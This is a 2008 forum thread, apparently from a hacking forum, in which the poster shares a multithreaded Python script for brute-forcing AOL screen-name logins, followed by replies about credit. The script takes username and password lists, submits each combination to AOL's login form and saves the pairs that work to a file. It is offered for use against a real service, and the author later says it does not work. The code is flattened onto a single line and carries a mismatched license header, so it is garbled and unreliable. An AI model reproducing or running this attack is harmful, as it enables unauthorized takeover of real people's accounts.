#!/usr/bin/python#!/usr/bin/python# Copyright © 2007 Nought; All Rights Reserved.## This software is distributable under the terms of the GNU# General Public License (GPL) v2, the text of which can be found at# [url="http://www.gnu.org/copyleft/gpl.html"]http://www.gnu.org/copyleft/gpl.html[/url]. Installing, importing or otherwise# using this module constitutes acceptance of the terms of this License.## Disclaimer# # This software is provided "as-is". There are no expressed or implied# warranties of any kind, including, but not limited to, the warranties# of merchantability and fittness for a given application. In no event# shall Gary Strangman be liable for any direct, indirect, incidental,# special, exemplary or consequential damages (including, but not limited# to, loss of use, data or profits, or business interruption) however# caused and on any theory of liability, whether in contract, strict# liability or tort (including negligence or otherwise) arising in any way# out of the use of this software, even if advised of the possibility of# such damage.## contact: nought@sun.tofrom mechanize import Browserimport reimport stringimport sysimport threadingimport timecrackedLocation = "/tmp/xxx"count = 0brute = [] crackedScreenNames = []MAX_THREAD = 50class FuncMyThread(threading.Thread): def __init__(self, func): threading.Thread.__init__(self) self.func = func def run(self): apply(self.func)class MyThread(threading.Thread): def __init__(self, func, user, passw): threading.Thread.__init__(self) self.func = func self.user = user self.passw = passw def run(self): apply(self.func,(self.user, self.passw))def timer(): now = time.localtime(time.time()) return time.asctime(now)def loadlists(): try: sn = file("sn", "r") sn = map(string.strip, sn.readlines()) pw = file("pwl", "r") pw = map(string.strip, pw.readlines()) for screenname in sn: for password in pw: combined = screenname, password brute.append(combined) except: print "something's gone wrong, can't open either the sn or pw file"def crackloop():#calls the crack function using items from parsedPw cont = 0 threads = [] BruteSn, BrutePass = brute.pop(0) try: t = MyThread(crack, BruteSn, BrutePass) threads.append(t) cont += 1 if cont == MAX_THREAD: for a in range(MAX_THREAD): try: threads[a].start() except(KeyboardInterrupt): raise SystemExit except:pass if a == int(MAX_THREAD - 1): threads = [] cont = 0 if (threads != []) : for i in range(len(threads)): threads[i].start() threads = [] except(KeyboardInterrupt): print '[-] Process Canceled!' print '[-] Time : ', timer() raise SystemExitdef crackloop2():#calls the crack function using items from parsedPw cont = 0 threads = [] BruteSn, BrutePass = brute.pop(0) try: t = MyThread(crack, BruteSn, BrutePass) threads.append(t) cont += 1 if cont == MAX_THREAD: for a in range(MAX_THREAD): try: threads[a].start() except(KeyboardInterrupt): raise SystemExit except:pass if a == int(MAX_THREAD - 1): threads = [] cont = 0 if (threads != []) : for i in range(len(threads)): threads[i].start() threads = [] except(KeyboardInterrupt): print '[-] Process Canceled!' print '[-] Time : ', timer() raise SystemExitdef crackloop3():#calls the crack function using items from parsedPw cont = 0 threads = [] BruteSn, BrutePass = brute.pop(0) try: t = MyThread(crack, BruteSn, BrutePass) threads.append(t) cont += 1 if cont == MAX_THREAD: for a in range(MAX_THREAD): try: threads[a].start() except(KeyboardInterrupt): raise SystemExit except:pass if a == int(MAX_THREAD - 1): threads = [] cont = 0 if (threads != []) : for i in range(len(threads)): threads[i].start() threads = [] except(KeyboardInterrupt): print '[-] Process Canceled!' print '[-] Time : ', timer() raise SystemExitdef crackloop4():#calls the crack function using items from parsedPw cont = 0 threads = [] BruteSn, BrutePass = brute.pop(0) try: t = MyThread(crack, BruteSn, BrutePass) threads.append(t) cont += 1 if cont == MAX_THREAD: for a in range(MAX_THREAD): try: threads[a].start() except(KeyboardInterrupt): raise SystemExit except:pass if a == int(MAX_THREAD - 1): threads = [] cont = 0 if (threads != []) : for i in range(len(threads)): threads[i].start() threads[i].join() threads = [] except(KeyboardInterrupt): print '[-] Process Canceled!' print '[-] Time : ', timer() raise SystemExitdef crack(BruteSn, BrutePass): if BruteSn not in crackedScreenNames: try: global count count += 1 print "[+]", count, BruteSn, BrutePass br = Browser() br.open("https://my.screennam...dp%3flogin%3d1") br.select_form(name="AOLLoginForm") br["loginId"] = BruteSn br["password"] = BrutePass response = br.submit() response = response.read() if "<title>Screen" in response: print "[+] CRACKED!", BruteSn, BrutePass global crackedLocation crackedFile = file(crackedLocation, 'a') CrackedInfo = (BruteSn, BrutePass) CrackedInfo = str(CrackedInfo) crackedFile.write(CrackedInfo) crackedFile.write("\n") crackedFile.close() crackedScreenNames.append(BruteSn) print "[+] Skipping to next screenname.." print "[+] and let's give the server a breather while we're at it." except: print "[-] Error connecting to server."loadlists()while brute != []: crackloop() crackloop2() crackloop3() crackloop4()
Sponsored by: â–ˆ Sparkhost - Hosting Without Compromises! â–ˆ Hybrid Performance Web Hosting â–ˆ Spark Host Stream Hosting â–ˆ Hybrid IRC & IRCd Server Shell Accounts
Python: Form Cracker / Poc Aol Brute Forcer
Started by
nought
, Jan 18 2008 09:57 AM
4 replies to this topic
#1
Posted 18 January 2008 - 09:57 AM
this is my attempt at implementing multi-multi threading into a form bruteforcer.
#2
Posted 18 January 2008 - 12:49 PM
Remenber Credits to Juza, respect the real autors.
#3
Posted 19 January 2008 - 10:02 AM
Remenber Credits to Juza, respect the real autors.
I suppose linking directly to your thread in the first sentence of this thread isn't enough?
#4 Guest_DiabloHorn_*
Posted 19 January 2008 - 01:36 PM
he prolly missed that link cause he only looked @ code since that's where credits usually are given cause of code moving around and forum posts dissapear or are only availible after login.
#5
Posted 21 January 2008 - 07:36 PM
shrug. it's just proof of concept code anyway, doesn't even work...
0 user(s) are reading this topic
0 members, 0 guests, 0 anonymous users












